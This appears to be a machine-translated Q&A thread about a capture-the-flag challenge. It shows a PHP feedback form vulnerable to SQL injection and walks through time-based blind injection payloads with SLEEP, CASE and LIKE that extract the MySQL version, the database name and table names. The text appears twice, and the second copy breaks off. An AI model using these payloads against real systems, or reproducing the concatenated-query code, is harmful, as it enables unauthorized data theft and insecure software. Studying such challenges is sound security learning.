查找 sql-查询基于时间的盲注 sql 注入
Finding sql-query for time-based blind sqlinjection
我有一个简单的 Web 应用程序,允许 post 向 MySQL 数据库发送消息。
我的挑战是获取有关该数据库的所有信息。
不幸的是没有输出,所以我必须进行基于时间的盲注。
此负载有效,响应需要 5 秒才能到达客户端。
' RLIKE SLEEP(5) AND '1'='1
我必须以某种方式替换 '1'='1
以便我可以检查 table 名称或用户。
有什么想法吗??
以下是带有漏洞查询的代码。
<?php
if (isset($_POST['feedback'])) {
$id = $_POST['feedback'];
$query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
if ($result = $mysqli->query($query)) {
//echo "Done";
} else {
//echo $mysqli->error;
}
echo "Thank you for your feedback! We'll contact you later.";
} else {
echo "";
}
?>
(免责声明:这是一个挑战,我正在 VM 内的私有服务器上工作。这里没有发生任何不道德的事情)
仅查看您的代码,现场反馈容易受到基于时间的盲注 SQL 注入向量的影响。
创建database/createtable
CREATE DATABASE IF NOT EXISTS hackdb;
CREATE TABLE IF NOT EXISTS feedback (
feedback VARCHAR(255)
);
您可以使用 (SELECT ...)
注入反馈列,因为这是有效的 SQL。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT 1)
)
结果
1 row(s) affected
Execution Time : 0.013 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
测试基于时间的盲注 SQL 注入向量。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT SLEEP(5))
)
结果
1 row(s) affected
Execution Time : 5.717 sec
Transfer Time : 0 sec
Total Time : 5.718 sec
我们准备好了。
让我们找出数据库版本。
我们可以为此使用 MySQL 的 VERSION() 函数
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.1%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
没有宾果
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.7%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 5.733 sec
Transfer Time : 0 sec
Total Time : 5.734 sec
宾果。
现在我们要查找正在使用的数据库。
我们可以为此使用 MySQL 的 DATABASE() 函数。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.015 sec
没有宾果
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 5.715 sec
Transfer Time : 0 sec
Total Time : 5.716 sec
宾果
现在您可以在 LIKE 部分添加第二个字符,依此类推。
我已经为您提供了一些基本的基于时间的盲注 SQL 注入向量。
由您在数据库
中找到 table
我不想破坏你的完整挑战。
table 并插入以演示可能的有效载荷
CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;
INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;
payload
的一些演示替换
无效 table/view 名称 - 得到快速响应
有效负载= 1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0 秒
错误代码:1146
Table 'test.feedback' 不存在
好 table 名字 - 5+ 秒
有效负载= 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:5.198 秒
1 行受影响
错误的列名称 - 快速响应
有效负载= 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0 秒
错误代码:1054
'field list'
中的未知列 'bar'
我有一个简单的 Web 应用程序,允许 post 向 MySQL 数据库发送消息。 我的挑战是获取有关该数据库的所有信息。 不幸的是没有输出,所以我必须进行基于时间的盲注。
此负载有效,响应需要 5 秒才能到达客户端。
' RLIKE SLEEP(5) AND '1'='1
我必须以某种方式替换 '1'='1
以便我可以检查 table 名称或用户。
有什么想法吗??
以下是带有漏洞查询的代码。
<?php
if (isset($_POST['feedback'])) {
$id = $_POST['feedback'];
$query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
if ($result = $mysqli->query($query)) {
//echo "Done";
} else {
//echo $mysqli->error;
}
echo "Thank you for your feedback! We'll contact you later.";
} else {
echo "";
}
?>
(免责声明:这是一个挑战,我正在 VM 内的私有服务器上工作。这里没有发生任何不道德的事情)
仅查看您的代码,现场反馈容易受到基于时间的盲注 SQL 注入向量的影响。
创建database/createtable
CREATE DATABASE IF NOT EXISTS hackdb;
CREATE TABLE IF NOT EXISTS feedback (
feedback VARCHAR(255)
);
您可以使用 (SELECT ...)
注入反馈列,因为这是有效的 SQL。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT 1)
)
结果
1 row(s) affected
Execution Time : 0.013 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
测试基于时间的盲注 SQL 注入向量。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT SLEEP(5))
)
结果
1 row(s) affected
Execution Time : 5.717 sec
Transfer Time : 0 sec
Total Time : 5.718 sec
我们准备好了。
让我们找出数据库版本。
我们可以为此使用 MySQL 的 VERSION() 函数
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.1%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.014 sec
没有宾果
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN VERSION() LIKE '5.7%'
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 5.733 sec
Transfer Time : 0 sec
Total Time : 5.734 sec
宾果。
现在我们要查找正在使用的数据库。 我们可以为此使用 MySQL 的 DATABASE() 函数。
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 0.014 sec
Transfer Time : 0 sec
Total Time : 0.015 sec
没有宾果
查询
INSERT INTO
hackdb.feedback
(feedback)
VALUES (
(SELECT
CASE
WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
THEN SLEEP(5)
ELSE 0
END
FROM
DUAL
)
)
结果
1 row(s) affected
Execution Time : 5.715 sec
Transfer Time : 0 sec
Total Time : 5.716 sec
宾果
现在您可以在 LIKE 部分添加第二个字符,依此类推。
我已经为您提供了一些基本的基于时间的盲注 SQL 注入向量。
由您在数据库
中找到 table
我不想破坏你的完整挑战。
table 并插入以演示可能的有效载荷
CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;
INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;
payload
无效 table/view 名称 - 得到快速响应
有效负载= 1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0 秒
错误代码:1146
Table 'test.feedback' 不存在
好 table 名字 - 5+ 秒
有效负载= 1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:5.198 秒
1 行受影响
错误的列名称 - 快速响应
有效负载= 1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
执行时间:0 秒
错误代码:1054
'field list'